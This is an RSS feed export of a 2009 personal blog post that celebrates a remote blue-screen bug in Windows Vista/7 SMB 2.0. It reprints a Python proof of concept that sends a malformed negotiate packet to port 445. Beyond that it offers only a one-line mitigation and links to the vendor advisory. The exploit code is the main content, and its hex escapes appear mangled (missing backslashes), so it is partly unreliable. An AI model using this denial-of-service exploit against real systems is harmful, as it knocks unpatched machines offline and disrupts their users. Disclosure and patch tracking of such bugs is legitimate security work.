<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
xmlns:rawvoice="http://www.rawvoice.com/rawvoiceRssModule/"
>

<channel>
	<title>JustinLee.sg &#187; Windows 95</title>
	<atom:link href="http://justinlee.sg/tag/windows-95/feed/" rel="self" type="application/rss+xml" />
	<link>http://justinlee.sg</link>
	<description>Taking over the world with every line of code</description>
	<lastBuildDate>Fri, 03 Feb 2012 06:13:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<!-- podcast_generator="Blubrry PowerPress/2.0.4" -->
	<itunes:summary>Taking over the world with every line of code</itunes:summary>
	<itunes:author>JustinLee.sg</itunes:author>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://justinlee.sg/wp-content/plugins/powerpress/itunes_default.jpg" />
	<itunes:subtitle>Taking over the world with every line of code</itunes:subtitle>
	<image>
		<title>JustinLee.sg &#187; Windows 95</title>
		<url>http://justinlee.sg/wp-content/plugins/powerpress/rss_default.jpg</url>
		<link>http://justinlee.sg</link>
	</image>
		<item>
		<title>Good times again with Remote BSOD</title>
		<link>http://justinlee.sg/2009/09/09/good-times-again-with-remote-bsod/</link>
		<comments>http://justinlee.sg/2009/09/09/good-times-again-with-remote-bsod/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 16:48:16 +0000</pubDate>
		<dc:creator>triplez</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[BSOD]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[SMB 2.0]]></category>
		<category><![CDATA[teardrop]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Windows 3.1]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows 95]]></category>
		<category><![CDATA[Windows NT]]></category>
		<category><![CDATA[Windows Server 2008]]></category>
		<category><![CDATA[Windows Server 2008 R2]]></category>
		<category><![CDATA[Windows Vista]]></category>

		<guid isPermaLink="false">http://www.justinlee.sg/?p=6847</guid>
		<description><![CDATA[Remember the good old days when you&#8217;re able to teardrop someone who was on Windows 3.1, Windows 95 or Windows NT and send a BSOD to their computer? Well, I do. Now, for the limited time offer only, we are able to relive this experience once again until Microsoft releases a security patch. This affects <a href='http://justinlee.sg/2009/09/09/good-times-again-with-remote-bsod/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<p>Remember the good old days when you&#8217;re able to <a href="http://en.wikipedia.org/wiki/Teardrop_attack#Teardrop_attacks">teardrop</a> someone who was on Windows 3.1, Windows 95 or Windows NT and send a BSOD to their computer? Well, I do. Now, for the limited time offer only, we are able to relive this experience once again until Microsoft releases a security patch. This affects all Windows Vista, Windows 7, and possibly Windows Server 2008 and Windows Server 2008 R2. Let&#8217;s hope they do release a security patch before Windows 7 officially launches.</p>
<p>Here&#8217;s the proof of concept. I&#8217;m going to keep a copy here just in case.</p>
<p>Smb-Bsod.py:</p>
<p><code>#!/usr/bin/python<br />
# When SMB2.0 recieve a "&amp;" char in the "Process Id High" SMB header field it dies with a<br />
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket<br />
from time import sleep</code></p>
<p><code>host = "IP_ADDR", 445<br />
buff = (<br />
"x00x00x00x90" # Begin SMB header: Session message<br />
"xffx53x4dx42" # Server Component: SMB<br />
"x72x00x00x00" # Negociate Protocol<br />
"x00x18x53xc8" # Operation 0x18 &amp; sub 0xc853<br />
"x00x26"# Process ID High: --&gt; <img src='http://justinlee.sg/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  normal value should be "x00x00"<br />
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"<br />
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"<br />
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"<br />
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"<br />
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"<br />
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"<br />
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"<br />
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"<br />
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"<br />
"x30x30x32x00"</code></p>
<p><code> </code></p>
<p><code>)<br />
s = socket()</code></p>
<p><code> </code></p>
<p><code>s.connect(host)<br />
s.send(buff)<br />
s.close()<br />
</code></p>
<p>To stop your computer from BSOD for now, try <a href="http://www.petri.co.il/how-to-disable-smb-2-on-windows-vista-or-server-2008.htm">disabling SMB 2.0</a>. We might even see some script kiddie come up with a simple teardrop application to BSOD your computer.</p>
<p>Ah! The good old days again.</p>
<p>== Update ==</p>
<p>Windows 7 RTM and Windows Server 2008 R2 are already patched and fixed. This exploit only works on Windows Vista and Windows Server 2008, and Windows 7 RC.</p>
<p>Original Post: <a href="http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx">Microsoft Security Advisory 975497 Released</a></p>
<p>== End Update ==</p>
<p>Original Post: <a href="http://seclists.org/fulldisclosure/2009/Sep/0039.html">Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://justinlee.sg/2009/09/09/good-times-again-with-remote-bsod/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

